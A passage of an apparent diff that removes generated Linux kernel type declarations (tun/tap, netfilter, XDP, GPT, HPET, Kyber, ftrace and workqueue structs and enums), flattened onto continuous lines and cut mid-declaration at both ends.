__attribute__((packed)); - -struct tpm2_pcr_selection { - __be16 hash_alg; - u8 size_of_select; - u8 pcr_select[3]; -}; - -enum { - IFLA_TUN_UNSPEC = 0, - IFLA_TUN_OWNER = 1, - IFLA_TUN_GROUP = 2, - IFLA_TUN_TYPE = 3, - IFLA_TUN_PI = 4, - IFLA_TUN_VNET_HDR = 5, - IFLA_TUN_PERSIST = 6, - IFLA_TUN_MULTI_QUEUE = 7, - IFLA_TUN_NUM_QUEUES = 8, - IFLA_TUN_NUM_DISABLED_QUEUES = 9, - __IFLA_TUN_MAX = 10, -}; - -struct tun_pi { - __u16 flags; - __be16 proto; -}; - -struct tun_filter { - __u16 flags; - __u16 count; - __u8 addr[0]; -}; - -struct tun_msg_ctl { - short unsigned int type; - short unsigned int num; - void *ptr; -}; - -struct tun_xdp_hdr { - int buflen; - struct virtio_net_hdr gso; -}; - -enum { - AX25_VALUES_IPDEFMODE = 0, - AX25_VALUES_AXDEFMODE = 1, - AX25_VALUES_BACKOFF = 2, - AX25_VALUES_CONMODE = 3, - AX25_VALUES_WINDOW = 4, - AX25_VALUES_EWINDOW = 5, - AX25_VALUES_T1 = 6, - AX25_VALUES_T2 = 7, - AX25_VALUES_T3 = 8, - AX25_VALUES_IDLE = 9, - AX25_VALUES_N2 = 10, - AX25_VALUES_PACLEN = 11, - AX25_VALUES_PROTOCOL = 12, - AX25_VALUES_DS_TIMEOUT = 13, - AX25_MAX_VALUES = 14, -}; - -struct tap_filter { - unsigned int count; - u32 mask[2]; - unsigned char addr[48]; -}; - -struct tun_struct; - -struct tun_file { - struct sock sk; - struct socket socket; - struct tun_struct *tun; - struct fasync_struct *fasync; - unsigned int flags; - union { - u16 queue_index; - unsigned int ifindex; - }; - struct napi_struct napi; - bool napi_enabled; - bool napi_frags_enabled; - struct mutex napi_mutex; - struct list_head next; - struct tun_struct *detached; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - struct ptr_ring tx_ring; - struct xdp_rxq_info xdp_rxq; -}; - -struct tun_prog; - -struct tun_struct { - struct tun_file *tfiles[256]; - unsigned int numqueues; - unsigned int flags; - kuid_t owner; - kgid_t group; - struct net_device *dev; - netdev_features_t set_features; - int align; - int vnet_hdr_sz; - int sndbuf; - struct tap_filter txflt; - struct sock_fprog fprog; - bool filter_attached; - u32 msg_enable; - spinlock_t lock; - struct hlist_head flows[1024]; - struct timer_list flow_gc_timer; - long unsigned int ageing_time; - unsigned int numdisabled; - struct list_head disabled; - void *security; - u32 flow_count; - u32 rx_batched; - atomic_long_t rx_frame_errors; - struct bpf_prog *xdp_prog; - struct tun_prog *steering_prog; - struct tun_prog *filter_prog; - struct ethtool_link_ksettings link_ksettings; - struct file *file; - struct ifreq *ifr; -}; - -struct tun_page { - struct page *page; - int count; -}; - -struct tun_flow_entry { - struct hlist_node hash_link; - struct callback_head rcu; - struct tun_struct *tun; - u32 rxhash; - u32 rps_rxhash; - int queue_index; - long: 64; - long unsigned int updated; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct tun_prog { - struct callback_head rcu; - struct bpf_prog *prog; -}; - -struct veth { - __be16 h_vlan_proto; - __be16 h_vlan_TCI; -}; - -enum ethtool_podl_pse_admin_state { - ETHTOOL_PODL_PSE_ADMIN_STATE_UNKNOWN = 1, - ETHTOOL_PODL_PSE_ADMIN_STATE_DISABLED = 2, - ETHTOOL_PODL_PSE_ADMIN_STATE_ENABLED = 3, -}; - -enum ethtool_podl_pse_pw_d_status { - ETHTOOL_PODL_PSE_PW_D_STATUS_UNKNOWN = 1, - ETHTOOL_PODL_PSE_PW_D_STATUS_DISABLED = 2, - ETHTOOL_PODL_PSE_PW_D_STATUS_SEARCHING = 3, - ETHTOOL_PODL_PSE_PW_D_STATUS_DELIVERING = 4, - ETHTOOL_PODL_PSE_PW_D_STATUS_SLEEP = 5, - ETHTOOL_PODL_PSE_PW_D_STATUS_IDLE = 6, - ETHTOOL_PODL_PSE_PW_D_STATUS_ERROR = 7, -}; - -struct pse_control_config { - enum ethtool_podl_pse_admin_state admin_cotrol; -}; - -struct pse_control_status { - enum ethtool_podl_pse_admin_state podl_admin_state; - enum ethtool_podl_pse_pw_d_status podl_pw_status; -}; - -struct pse_reply_data { - struct ethnl_reply_data base; - struct pse_control_status status; -}; - -struct fib_result_nl { - __be32 fl_addr; - u32 fl_mark; - unsigned char fl_tos; - unsigned char fl_scope; - unsigned char tb_id_in; - unsigned char tb_id; - unsigned char prefixlen; - unsigned char nh_sel; - unsigned char type; - unsigned char scope; - int err; -}; - -struct rtentry { - long unsigned int rt_pad1; - struct sockaddr rt_dst; - struct sockaddr rt_gateway; - struct sockaddr rt_genmask; - short unsigned int rt_flags; - short int rt_pad2; - long unsigned int rt_pad3; - void *rt_pad4; - short int rt_metric; - char *rt_dev; - long unsigned int rt_mtu; - long unsigned int rt_window; - short unsigned int rt_irtt; -}; - -struct ifaddrlblmsg { - __u8 ifal_family; - __u8 __ifal_reserved; - __u8 ifal_prefixlen; - __u8 ifal_flags; - __u32 ifal_index; - __u32 ifal_seq; -}; - -enum { - IFAL_ADDRESS = 1, - IFAL_LABEL = 2, - __IFAL_MAX = 3, -}; - -struct ip6addrlbl_entry { - struct in6_addr prefix; - int prefixlen; - int ifindex; - int addrtype; - u32 label; - struct hlist_node list; - struct callback_head rcu; -}; - -struct ip6addrlbl_init_table { - const struct in6_addr *prefix; - int prefixlen; - u32 label; -}; - -enum dns_payload_content_type { - DNS_PAYLOAD_IS_SERVER_LIST = 0, -}; - -struct dns_payload_header { - __u8 zero; - __u8 content; - __u8 version; -}; - -enum { - dns_key_data = 0, - dns_key_error = 1, -}; - -struct trampoline_header { - u64 start; - u64 efer; - u32 cr4; - u32 flags; -}; - -struct _cache_table { - unsigned char descriptor; - char cache_type; - short int size; -}; - -enum _cache_type { - CTYPE_NULL = 0, - CTYPE_DATA = 1, - CTYPE_INST = 2, - CTYPE_UNIFIED = 3, -}; - -union _cpuid4_leaf_eax { - struct { - enum _cache_type type: 5; - unsigned int level: 3; - unsigned int is_self_initializing: 1; - unsigned int is_fully_associative: 1; - unsigned int reserved: 4; - unsigned int num_threads_sharing: 12; - unsigned int num_cores_on_die: 6; - } split; - u32 full; -}; - -union _cpuid4_leaf_ebx { - struct { - unsigned int coherency_line_size: 12; - unsigned int physical_line_partition: 10; - unsigned int ways_of_associativity: 10; - } split; - u32 full; -}; - -union _cpuid4_leaf_ecx { - struct { - unsigned int number_of_sets: 32; - } split; - u32 full; -}; - -struct _cpuid4_info_regs { - union _cpuid4_leaf_eax eax; - union _cpuid4_leaf_ebx ebx; - union _cpuid4_leaf_ecx ecx; - unsigned int id; - long unsigned int size; - struct amd_northbridge *nb; -}; - -union l1_cache { - struct { - unsigned int line_size: 8; - unsigned int lines_per_tag: 8; - unsigned int assoc: 8; - unsigned int size_in_kb: 8; - }; - unsigned int val; -}; - -union l2_cache { - struct { - unsigned int line_size: 8; - unsigned int lines_per_tag: 4; - unsigned int assoc: 4; - unsigned int size_in_kb: 16; - }; - unsigned int val; -}; - -union l3_cache { - struct { - unsigned int line_size: 8; - unsigned int lines_per_tag: 4; - unsigned int assoc: 4; - unsigned int res: 2; - unsigned int size_encoded: 14; - }; - unsigned int val; -}; - -struct trace_bprintk_fmt { - struct list_head list; - const char *fmt; -}; - -enum { - BPF_F_BPRM_SECUREEXEC = 1, -}; - -typedef u64 (*btf_bpf_bprm_opts_set)(struct linux_binprm *, u64); - -typedef u64 (*btf_bpf_ima_inode_hash)(struct inode *, void *, u32); - -typedef u64 (*btf_bpf_ima_file_hash)(struct file *, void *, u32); - -typedef u64 (*btf_bpf_get_attach_cookie)(void *); - -struct crypto_report_comp { - char type[64]; -}; - -struct crypto_scomp { - struct crypto_tfm base; -}; - -struct scomp_alg { - void * (*alloc_ctx)(struct crypto_scomp *); - void (*free_ctx)(struct crypto_scomp *, void *); - int (*compress)(struct crypto_scomp *, const u8 *, unsigned int, u8 *, unsigned int *, void *); - int (*decompress)(struct crypto_scomp *, const u8 *, unsigned int, u8 *, unsigned int *, void *); - struct crypto_alg base; -}; - -struct scomp_scratch { - spinlock_t lock; - void *src; - void *dst; -}; - -struct _gpt_header { - __le64 signature; - __le32 revision; - __le32 header_size; - __le32 header_crc32; - __le32 reserved1; - __le64 my_lba; - __le64 alternate_lba; - __le64 first_usable_lba; - __le64 last_usable_lba; - efi_guid_t disk_guid; - __le64 partition_entry_lba; - __le32 num_partition_entries; - __le32 sizeof_partition_entry; - __le32 partition_entry_array_crc32; -} __attribute__((packed)); - -typedef struct _gpt_header gpt_header; - -struct _gpt_entry_attributes { - u64 required_to_function: 1; - u64 reserved: 47; - u64 type_guid_specific: 16; -}; - -typedef struct _gpt_entry_attributes gpt_entry_attributes; - -struct _gpt_entry { - efi_guid_t partition_type_guid; - efi_guid_t unique_partition_guid; - __le64 starting_lba; - __le64 ending_lba; - gpt_entry_attributes attributes; - __le16 partition_name[36]; -}; - -typedef struct _gpt_entry gpt_entry; - -struct _gpt_mbr_record { - u8 boot_indicator; - u8 start_head; - u8 start_sector; - u8 start_track; - u8 os_type; - u8 end_head; - u8 end_sector; - u8 end_track; - __le32 starting_lba; - __le32 size_in_lba; -}; - -typedef struct _gpt_mbr_record gpt_mbr_record; - -struct _legacy_mbr { - u8 boot_code[440]; - __le32 unique_mbr_signature; - __le16 unknown; - gpt_mbr_record partition_record[4]; - __le16 signature; -} __attribute__((packed)); - -typedef struct _legacy_mbr legacy_mbr; - -struct io_notif_data { - struct file *file; - struct ubuf_info uarg; - long unsigned int account_pages; -}; - -struct touchscreen_properties { - unsigned int max_x; - unsigned int max_y; - bool invert_x; - bool invert_y; - bool swap_x_y; -}; - -struct ir_raw_event_ctrl { - struct list_head list; - struct task_struct *thread; - struct { - union { - struct __kfifo kfifo; - struct ir_raw_event *type; - const struct ir_raw_event *const_type; - char (*rectype)[0]; - struct ir_raw_event *ptr; - const struct ir_raw_event *ptr_const; - }; - struct ir_raw_event buf[512]; - } kfifo; - ktime_t last_event; - struct rc_dev *dev; - spinlock_t edge_spinlock; - struct timer_list edge_handle; - struct ir_raw_event prev_ev; - struct ir_raw_event this_ev; - u32 bpf_sample; - struct bpf_prog_array *progs; -}; - -struct ir_raw_handler { - struct list_head list; - u64 protocols; - int (*decode)(struct rc_dev *, struct ir_raw_event); - int (*encode)(enum rc_proto, u32, struct ir_raw_event *, unsigned int); - u32 carrier; - u32 min_timeout; - int (*raw_register)(struct rc_dev *); - int (*raw_unregister)(struct rc_dev *); -}; - -struct ir_raw_timings_manchester { - unsigned int leader_pulse; - unsigned int leader_space; - unsigned int clock; - unsigned int invert: 1; - unsigned int trailer_space; -}; - -struct ir_raw_timings_pd { - unsigned int header_pulse; - unsigned int header_space; - unsigned int bit_pulse; - unsigned int bit_space[2]; - unsigned int trailer_pulse; - unsigned int trailer_space; - unsigned int msb_first: 1; -}; - -struct ir_raw_timings_pl { - unsigned int header_pulse; - unsigned int bit_space; - unsigned int bit_pulse[2]; - unsigned int trailer_space; - unsigned int msb_first: 1; -}; - -struct nf_nat_hook { - int (*parse_nat_setup)(struct nf_conn *, enum nf_nat_manip_type, const struct nlattr *); - void (*decode_session)(struct sk_buff *, struct flowi *); - unsigned int (*manip_pkt)(struct sk_buff *, struct nf_conn *, enum nf_nat_manip_type, enum ip_conntrack_dir); - void (*remove_nat_bysrc)(struct nf_conn *); -}; - -struct nf_ct_hook { - int (*update)(struct net *, struct sk_buff *); - void (*destroy)(struct nf_conntrack *); - bool (*get_tuple_skb)(struct nf_conntrack_tuple *, const struct sk_buff *); - void (*attach)(struct sk_buff *, const struct sk_buff *); -}; - -enum nf_ct_ecache_state { - NFCT_ECACHE_DESTROY_FAIL = 0, - NFCT_ECACHE_DESTROY_SENT = 1, -}; - -struct nf_conn_counter { - atomic64_t packets; - atomic64_t bytes; -}; - -struct nf_conn_acct { - struct nf_conn_counter counter[2]; -}; - -struct nf_conn_tstamp { - u_int64_t start; - u_int64_t stop; -}; - -struct nf_ct_timeout { - __u16 l3num; - const struct nf_conntrack_l4proto *l4proto; - char data[0]; -}; - -struct nf_conn_timeout { - struct nf_ct_timeout *timeout; -}; - -struct nf_conn_labels { - long unsigned int bits[2]; -}; - -struct nf_conn_synproxy { - u32 isn; - u32 its; - u32 tsoff; -}; - -struct conntrack_gc_work { - struct delayed_work dwork; - u32 next_bucket; - u32 avg_timeout; - u32 count; - u32 start_time; - bool exiting; - bool early_drop; -}; - -struct pingv6_ops { - int (*ipv6_recv_error)(struct sock *, struct msghdr *, int, int *); - void (*ip6_datagram_recv_common_ctl)(struct sock *, struct msghdr *, struct sk_buff *); - void (*ip6_datagram_recv_specific_ctl)(struct sock *, struct msghdr *, struct sk_buff *); - int (*icmpv6_err_convert)(u8, u8, int *); - void (*ipv6_icmp_error)(struct sock *, struct sk_buff *, int, __be16, u32, u8 *); - int (*ipv6_chk_addr)(struct net *, const struct in6_addr *, const struct net_device *, int); -}; - -struct word_at_a_time { - const long unsigned int one_bits; - const long unsigned int high_bits; -}; - -enum show_regs_mode { - SHOW_REGS_SHORT = 0, - SHOW_REGS_USER = 1, - SHOW_REGS_ALL = 2, -}; - -enum which_selector { - FS = 0, - GS = 1, -}; - -struct pm_qos_request { - struct plist_node node; - struct pm_qos_constraints *qos; -}; - -enum pm_qos_req_action { - PM_QOS_ADD_REQ = 0, - PM_QOS_UPDATE_REQ = 1, - PM_QOS_REMOVE_REQ = 2, -}; - -struct ktime_timestamps { - u64 mono; - u64 boot; - u64 real; -}; - -struct system_time_snapshot { - u64 cycles; - ktime_t real; - ktime_t raw; - enum clocksource_ids cs_id; - unsigned int clock_was_set_seq; - u8 cs_was_changed_seq; -}; - -struct system_counterval_t { - u64 cycles; - struct clocksource *cs; -}; - -enum timekeeping_adv_mode { - TK_ADV_TICK = 0, - TK_ADV_FREQ = 1, -}; - -struct tk_fast { - seqcount_latch_t seq; - struct tk_read_base base[2]; -}; - -enum { - Q_REQUEUE_PI_NONE = 0, - Q_REQUEUE_PI_IGNORE = 1, - Q_REQUEUE_PI_IN_PROGRESS = 2, - Q_REQUEUE_PI_WAIT = 3, - Q_REQUEUE_PI_DONE = 4, - Q_REQUEUE_PI_LOCKED = 5, -}; - -struct cgroupstats { - __u64 nr_sleeping; - __u64 nr_running; - __u64 nr_stopped; - __u64 nr_uninterruptible; - __u64 nr_io_wait; -}; - -enum cgroup_filetype { - CGROUP_FILE_PROCS = 0, - CGROUP_FILE_TASKS = 1, -}; - -struct cgroup_pidlist { - struct { - enum cgroup_filetype type; - struct pid_namespace *ns; - } key; - pid_t *list; - int length; - struct list_head links; - struct cgroup *owner; - struct delayed_work destroy_dwork; -}; - -enum cgroup1_param { - Opt_all = 0, - Opt_clone_children = 1, - Opt_cpuset_v2_mode = 2, - Opt_name = 3, - Opt_none = 4, - Opt_noprefix = 5, - Opt_release_agent = 6, - Opt_xattr = 7, - Opt_favordynmods___2 = 8, - Opt_nofavordynmods = 9, -}; - -struct trace_event_raw_preemptirq_template { - struct trace_entry ent; - s32 caller_offs; - s32 parent_offs; - char __data[0]; -}; - -struct trace_event_data_offsets_preemptirq_template {}; - -typedef void (*btf_trace_irq_disable)(void *, long unsigned int, long unsigned int); - -typedef void (*btf_trace_irq_enable)(void *, long unsigned int, long unsigned int); - -struct bpf_devmap_val { - __u32 ifindex; - union { - int fd; - __u32 id; - } bpf_prog; -}; - -enum xdp_buff_flags { - XDP_FLAGS_HAS_FRAGS = 1, - XDP_FLAGS_FRAGS_PF_MEMALLOC = 2, -}; - -struct xdp_dev_bulk_queue { - struct xdp_frame *q[16]; - struct list_head flush_node; - struct net_device *dev; - struct net_device *dev_rx; - struct bpf_prog *xdp_prog; - unsigned int count; -}; - -struct bpf_dtab; - -struct bpf_dtab_netdev { - struct net_device *dev; - struct hlist_node index_hlist; - struct bpf_dtab *dtab; - struct bpf_prog *xdp_prog; - struct callback_head rcu; - unsigned int idx; - struct bpf_devmap_val val; -}; - -struct bpf_dtab { - struct bpf_map map; - struct bpf_dtab_netdev **netdev_map; - struct list_head list; - struct hlist_head *dev_index_head; - spinlock_t index_lock; - unsigned int items; - u32 n_buckets; - long: 64; - long: 64; - long: 64; -}; - -enum netfs_rreq_trace { - netfs_rreq_trace_assess = 0, - netfs_rreq_trace_copy = 1, - netfs_rreq_trace_done = 2, - netfs_rreq_trace_free = 3, - netfs_rreq_trace_resubmit = 4, - netfs_rreq_trace_unlock = 5, - netfs_rreq_trace_unmark = 6, -} __attribute__((mode(byte))); - -enum netfs_sreq_trace { - netfs_sreq_trace_download_instead = 0, - netfs_sreq_trace_free = 1, - netfs_sreq_trace_prepare = 2, - netfs_sreq_trace_resubmit_short = 3, - netfs_sreq_trace_submit = 4, - netfs_sreq_trace_terminated = 5, - netfs_sreq_trace_write = 6, - netfs_sreq_trace_write_skip = 7, - netfs_sreq_trace_write_term = 8, -} __attribute__((mode(byte))); - -enum netfs_rreq_ref_trace { - netfs_rreq_trace_get_hold = 0, - netfs_rreq_trace_get_subreq = 1, - netfs_rreq_trace_put_complete = 2, - netfs_rreq_trace_put_discard = 3, - netfs_rreq_trace_put_failed = 4, - netfs_rreq_trace_put_hold = 5, - netfs_rreq_trace_put_subreq = 6, - netfs_rreq_trace_put_zero_len = 7, - netfs_rreq_trace_new = 8, -} __attribute__((mode(byte))); - -enum netfs_sreq_ref_trace { - netfs_sreq_trace_get_copy_to_cache = 0, - netfs_sreq_trace_get_resubmit = 1, - netfs_sreq_trace_get_short_read = 2, - netfs_sreq_trace_new = 3, - netfs_sreq_trace_put_clear = 4, - netfs_sreq_trace_put_failed = 5, - netfs_sreq_trace_put_merged = 6, - netfs_sreq_trace_put_no_copy = 7, - netfs_sreq_trace_put_terminated = 8, -} __attribute__((mode(byte))); - -struct getdents_callback___2 { - struct dir_context ctx; - char *name; - u64 ino; - int found; - int sequence; -}; - -struct crypto_report_akcipher { - char type[64]; -}; - -struct trace_event_raw_kyber_latency { - struct trace_entry ent; - dev_t dev; - char domain[16]; - char type[8]; - u8 percentile; - u8 numerator; - u8 denominator; - unsigned int samples; - char __data[0]; -}; - -struct trace_event_raw_kyber_adjust { - struct trace_entry ent; - dev_t dev; - char domain[16]; - unsigned int depth; - char __data[0]; -}; - -struct trace_event_raw_kyber_throttled { - struct trace_entry ent; - dev_t dev; - char domain[16]; - char __data[0]; -}; - -struct trace_event_data_offsets_kyber_latency {}; - -struct trace_event_data_offsets_kyber_adjust {}; - -struct trace_event_data_offsets_kyber_throttled {}; - -typedef void (*btf_trace_kyber_latency)(void *, dev_t, const char *, const char *, unsigned int, unsigned int, unsigned int, unsigned int); - -typedef void (*btf_trace_kyber_adjust)(void *, dev_t, const char *, unsigned int); - -typedef void (*btf_trace_kyber_throttled)(void *, dev_t, const char *); - -enum { - KYBER_READ = 0, - KYBER_WRITE = 1, - KYBER_DISCARD = 2, - KYBER_OTHER = 3, - KYBER_NUM_DOMAINS = 4, -}; - -enum { - KYBER_ASYNC_PERCENT = 75, -}; - -enum { - KYBER_LATENCY_SHIFT = 2, - KYBER_GOOD_BUCKETS = 4, - KYBER_LATENCY_BUCKETS = 8, -}; - -enum { - KYBER_TOTAL_LATENCY = 0, - KYBER_IO_LATENCY = 1, -}; - -struct kyber_cpu_latency { - atomic_t buckets[48]; -}; - -struct kyber_ctx_queue { - spinlock_t lock; - struct list_head rq_list[4]; -}; - -struct kyber_queue_data { - struct request_queue *q; - dev_t dev; - struct sbitmap_queue domain_tokens[4]; - unsigned int async_depth; - struct kyber_cpu_latency *cpu_latency; - struct timer_list timer; - unsigned int latency_buckets[48]; - long unsigned int latency_timeout[3]; - int domain_p99[3]; - u64 latency_targets[3]; -}; - -struct kyber_hctx_data { - spinlock_t lock; - struct list_head rqs[4]; - unsigned int cur_domain; - unsigned int batching; - struct kyber_ctx_queue *kcqs; - struct sbitmap kcq_map[4]; - struct sbq_wait domain_wait[4]; - struct sbq_wait_state *domain_ws[4]; - atomic_t wait_index[4]; -}; - -struct flush_kcq_data { - struct kyber_hctx_data *khd; - unsigned int sched_domain; - struct list_head *list; -}; - -struct acpi_osi_entry { - char string[64]; - bool enable; -}; - -struct acpi_osi_config { - u8 default_disabling; - unsigned int linux_enable: 1; - unsigned int linux_dmi: 1; - unsigned int linux_cmdline: 1; - unsigned int darwin_enable: 1; - unsigned int darwin_dmi: 1; - unsigned int darwin_cmdline: 1; -}; - -struct acpi_wakeup_handler { - struct list_head list_node; - bool (*wakeup)(void *); - void *context; -}; - -struct acpi_pci_ioapic { - acpi_handle root_handle; - acpi_handle handle; - u32 gsi_base; - struct resource res; - struct pci_dev *pdev; - struct list_head list; -}; - -struct hpet_info { - long unsigned int hi_ireqfreq; - long unsigned int hi_flags; - short unsigned int hi_hpet; - short unsigned int hi_timer; -}; - -struct hpet_timer { - u64 hpet_config; - union { - u64 _hpet_hc64; - u32 _hpet_hc32; - long unsigned int _hpet_compare; - } _u1; - u64 hpet_fsb[2]; -}; - -struct hpet { - u64 hpet_cap; - u64 res0; - u64 hpet_config; - u64 res1; - u64 hpet_isr; - u64 res2[25]; - union { - u64 _hpet_mc64; - u32 _hpet_mc32; - long unsigned int _hpet_mc; - } _u0; - u64 res3; - struct hpet_timer hpet_timers[1]; -}; - -struct hpet_data { - long unsigned int hd_phys_address; - void *hd_address; - short unsigned int hd_nirqs; - unsigned int hd_state; - unsigned int hd_irq[32]; -}; - -struct hpets; - -struct hpet_dev { - struct hpets *hd_hpets; - struct hpet *hd_hpet; - struct hpet_timer *hd_timer; - long unsigned int hd_ireqfreq; - long unsigned int hd_irqdata; - wait_queue_head_t hd_waitqueue; - struct fasync_struct *hd_async_queue; - unsigned int hd_flags; - unsigned int hd_irq; - unsigned int hd_hdwirq; - char hd_name[7]; -}; - -struct hpets { - struct hpets *hp_next; - struct hpet *hp_hpet; - long unsigned int hp_hpet_phys; - struct clocksource *hp_clocksource; - long long unsigned int hp_tick_freq; - long unsigned int hp_delta; - unsigned int hp_ntimer; - unsigned int hp_which; - struct hpet_dev hp_dev[0]; -}; - -enum { - BOND_3AD_STAT_LACPDU_RX = 0, - BOND_3AD_STAT_LACPDU_TX = 1, - BOND_3AD_STAT_LACPDU_UNKNOWN_RX = 2, - BOND_3AD_STAT_LACPDU_ILLEGAL_RX = 3, - BOND_3AD_STAT_MARKER_RX = 4, - BOND_3AD_STAT_MARKER_TX = 5, - BOND_3AD_STAT_MARKER_RESP_RX = 6, - BOND_3AD_STAT_MARKER_RESP_TX = 7, - BOND_3AD_STAT_MARKER_UNKNOWN_RX = 8, - BOND_3AD_STAT_PAD = 9, - __BOND_3AD_STAT_MAX = 10, -}; - -enum { - AD_TYPE_LACPDU = 1, - AD_TYPE_MARKER = 2, -}; - -enum { - AD_MARKER_INFORMATION_SUBTYPE = 1, - AD_MARKER_RESPONSE_SUBTYPE = 2, -}; - -enum { - AD_CURRENT_WHILE_TIMER = 0, - AD_ACTOR_CHURN_TIMER = 1, - AD_PERIODIC_TIMER = 2, - AD_PARTNER_CHURN_TIMER = 3, - AD_WAIT_WHILE_TIMER = 4, -}; - -struct lacpdu_header { - struct ethhdr hdr; - struct lacpdu lacpdu; -}; - -struct bond_marker { - u8 subtype; - u8 version_number; - u8 tlv_type; - u8 marker_length; - u16 requester_port; - struct mac_addr requester_system; - u32 requester_transaction_id; - u16 pad; - u8 tlv_type_terminator; - u8 terminator_length; - u8 reserved_90[90]; -} __attribute__((packed)); - -struct bond_marker_header { - struct ethhdr hdr; - struct bond_marker marker; -} __attribute__((packed)); - -enum ad_link_speed_type { - AD_LINK_SPEED_1MBPS = 1, - AD_LINK_SPEED_10MBPS = 2, - AD_LINK_SPEED_100MBPS = 3, - AD_LINK_SPEED_1000MBPS = 4, - AD_LINK_SPEED_2500MBPS = 5, - AD_LINK_SPEED_5000MBPS = 6, - AD_LINK_SPEED_10000MBPS = 7, - AD_LINK_SPEED_14000MBPS = 8, - AD_LINK_SPEED_20000MBPS = 9, - AD_LINK_SPEED_25000MBPS = 10, - AD_LINK_SPEED_40000MBPS = 11, - AD_LINK_SPEED_50000MBPS = 12, - AD_LINK_SPEED_56000MBPS = 13, - AD_LINK_SPEED_100000MBPS = 14, - AD_LINK_SPEED_200000MBPS = 15, - AD_LINK_SPEED_400000MBPS = 16, - AD_LINK_SPEED_800000MBPS = 17, -}; - -struct xt_tcp { - __u16 spts[2]; - __u16 dpts[2]; - __u8 option; - __u8 flg_mask; - __u8 flg_cmp; - __u8 invflags; -}; - -struct xt_udp { - __u16 spts[2]; - __u16 dpts[2]; - __u8 invflags; -}; - -struct ip6_fraglist_iter { - struct ipv6hdr *tmp_hdr; - struct sk_buff *frag; - int offset; - unsigned int hlen; - __be32 frag_id; - u8 nexthdr; -}; - -struct ip6_frag_state { - u8 *prevhdr; - unsigned int hlen; - unsigned int mtu; - unsigned int left; - int offset; - int ptr; - int hroom; - int troom; - __be32 frag_id; - u8 nexthdr; -}; - -struct nf_ipv6_ops { - void (*route_input)(struct sk_buff *); - int (*fragment)(struct net *, struct sock *, struct sk_buff *, int (*)(struct net *, struct sock *, struct sk_buff *)); - int (*reroute)(struct sk_buff *, const struct nf_queue_entry *); -}; - -struct br_input_skb_cb { - struct net_device *brdev; - u16 frag_max_size; - u8 proxyarp_replied: 1; - u8 src_port_isolated: 1; -}; - -struct nf_bridge_frag_data; - -struct sockaddr_xdp { - __u16 sxdp_family; - __u16 sxdp_flags; - __u32 sxdp_ifindex; - __u32 sxdp_queue_id; - __u32 sxdp_shared_umem_fd; -}; - -struct xdp_ring_offset { - __u64 producer; - __u64 consumer; - __u64 desc; - __u64 flags; -}; - -struct xdp_mmap_offsets { - struct xdp_ring_offset rx; - struct xdp_ring_offset tx; - struct xdp_ring_offset fr; - struct xdp_ring_offset cr; -}; - -struct xdp_statistics { - __u64 rx_dropped; - __u64 rx_invalid_descs; - __u64 tx_invalid_descs; - __u64 rx_ring_full; - __u64 rx_fill_ring_empty_descs; - __u64 tx_ring_empty_descs; -}; - -struct xdp_options { - __u32 flags; -}; - -struct xdp_ring_offset_v1 { - __u64 producer; - __u64 consumer; - __u64 desc; -}; - -struct xdp_mmap_offsets_v1 { - struct xdp_ring_offset_v1 rx; - struct xdp_ring_offset_v1 tx; - struct xdp_ring_offset_v1 fr; - struct xdp_ring_offset_v1 cr; -}; - -struct sigcontext_64 { - __u64 r8; - __u64 r9; - __u64 r10; - __u64 r11; - __u64 r12; - __u64 r13; - __u64 r14; - __u64 r15; - __u64 di; - __u64 si; - __u64 bp; - __u64 bx; - __u64 dx; - __u64 ax; - __u64 cx; - __u64 sp; - __u64 ip; - __u64 flags; - __u16 cs; - __u16 gs; - __u16 fs; - __u16 ss; - __u64 err; - __u64 trapno; - __u64 oldmask; - __u64 cr2; - __u64 fpstate; - __u64 reserved1[8]; -}; - -typedef sigset_t compat_sigset_t; - -struct sigaltstack { - void *ss_sp; - int ss_flags; - __kernel_size_t ss_size; -}; - -typedef struct sigaltstack stack_t; - -struct ucontext { - long unsigned int uc_flags; - struct ucontext *uc_link; - stack_t uc_stack; - struct sigcontext_64 uc_mcontext; - sigset_t uc_sigmask; -}; - -struct kernel_vm86_regs { - struct pt_regs pt; - short unsigned int es; - short unsigned int __esh; - short unsigned int ds; - short unsigned int __dsh; - short unsigned int fs; - short unsigned int __fsh; - short unsigned int gs; - short unsigned int __gsh; -}; - -struct rt_sigframe { - char *pretcode; - struct ucontext uc; - struct siginfo info; -}; - -struct dyn_arch_ftrace {}; - -enum { - FTRACE_FL_ENABLED = 2147483648, - FTRACE_FL_REGS = 1073741824, - FTRACE_FL_REGS_EN = 536870912, - FTRACE_FL_TRAMP = 268435456, - FTRACE_FL_TRAMP_EN = 134217728, - FTRACE_FL_IPMODIFY = 67108864, - FTRACE_FL_DISABLED = 33554432, - FTRACE_FL_DIRECT = 16777216, - FTRACE_FL_DIRECT_EN = 8388608, -}; - -struct dyn_ftrace { - long unsigned int ip; - long unsigned int flags; - struct dyn_arch_ftrace arch; -}; - -enum { - FTRACE_UPDATE_IGNORE = 0, - FTRACE_UPDATE_MAKE_CALL = 1, - FTRACE_UPDATE_MODIFY_CALL = 2, - FTRACE_UPDATE_MAKE_NOP = 3, -}; - -union text_poke_insn { - u8 text[5]; - struct { - u8 opcode; - s32 disp; - } __attribute__((packed)); -}; - -union ftrace_op_code_union { - char code[7]; - struct { - char op[3]; - int offset; - } __attribute__((packed)); -}; - -struct ftrace_rec_iter; - -struct wq_flusher; - -struct workqueue_attrs; - -struct wq_device; - -struct workqueue_struct { - struct list_head pwqs; - struct list_head list; - struct mutex mutex; - int work_color; - int flush_color; - atomic_t nr_pwqs_to_flush; - struct wq_flusher *first_flusher; - struct list_head flusher_queue; - struct list_head flusher_overflow; - struct list_head maydays; - struct worker *rescuer; - int nr_drainers; - int saved_max_active; - struct workqueue_attrs *unbound_attrs; - struct pool_workqueue *dfl_pwq; - struct wq_device *wq_dev; - char *lock_name; - struct lock_class_key key; - struct lockdep_map lockdep_map; - char name[24]; - struct callback_head rcu; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - unsigned int flags; - struct pool_workqueue *cpu_pwqs; - struct pool_workqueue *numa_pwq_tbl[0]; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct workqueue_attrs { - int nice; - cpumask_var_t cpumask; - bool no_numa; -}; - -struct execute_work { - struct work_struct work; -}; - -struct pool_workqueue { - struct worker_pool *pool; - struct workqueue_struct *wq; - int work_color; - int flush_color; - int refcnt; - int nr_in_flight[16]; - int nr_active; - int max_active; - struct list_head inactive_works; - struct list_head pwqs_node; - struct list_head 